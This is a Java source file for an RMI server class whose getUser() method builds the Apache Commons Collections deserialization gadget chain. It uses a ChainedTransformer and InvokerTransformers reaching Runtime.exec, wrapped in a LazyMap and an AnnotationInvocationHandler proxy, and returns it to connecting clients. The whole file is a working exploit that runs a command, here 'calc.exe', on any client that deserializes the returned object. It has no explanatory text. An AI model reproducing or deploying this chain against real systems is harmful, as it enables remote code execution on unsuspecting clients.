import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.LazyMap;

import java.io.Serializable;

import java.lang.annotation.Retention;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.InvocationTargetException;

import java.lang.reflect.Proxy;

import java.rmi.RemoteException;

import java.rmi.server.UnicastRemoteObject;

import java.util.HashMap;

import java.util.Map;

public class ServerReturnObject extends UnicastRemoteObject implements User {

public String name;

public int age;

public ServerReturnObject(String name, int age) throws RemoteException {

super();

this.name = name;

this.age = age;

}

public Object getUser() throws Exception {

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod",

new Class[]{String.class, Class[].class},

new Object[]{"getRuntime",

new Class[0]}),

new InvokerTransformer("invoke",

new Class[]{Object.class, Object[].class},

new Object[]{null, new Object[0]}),

new InvokerTransformer("exec",

new Class[]{String.class},

new String[]{"calc.exe"}),

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);

construct.setAccessible(true);

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

return (Object) handler;

}

}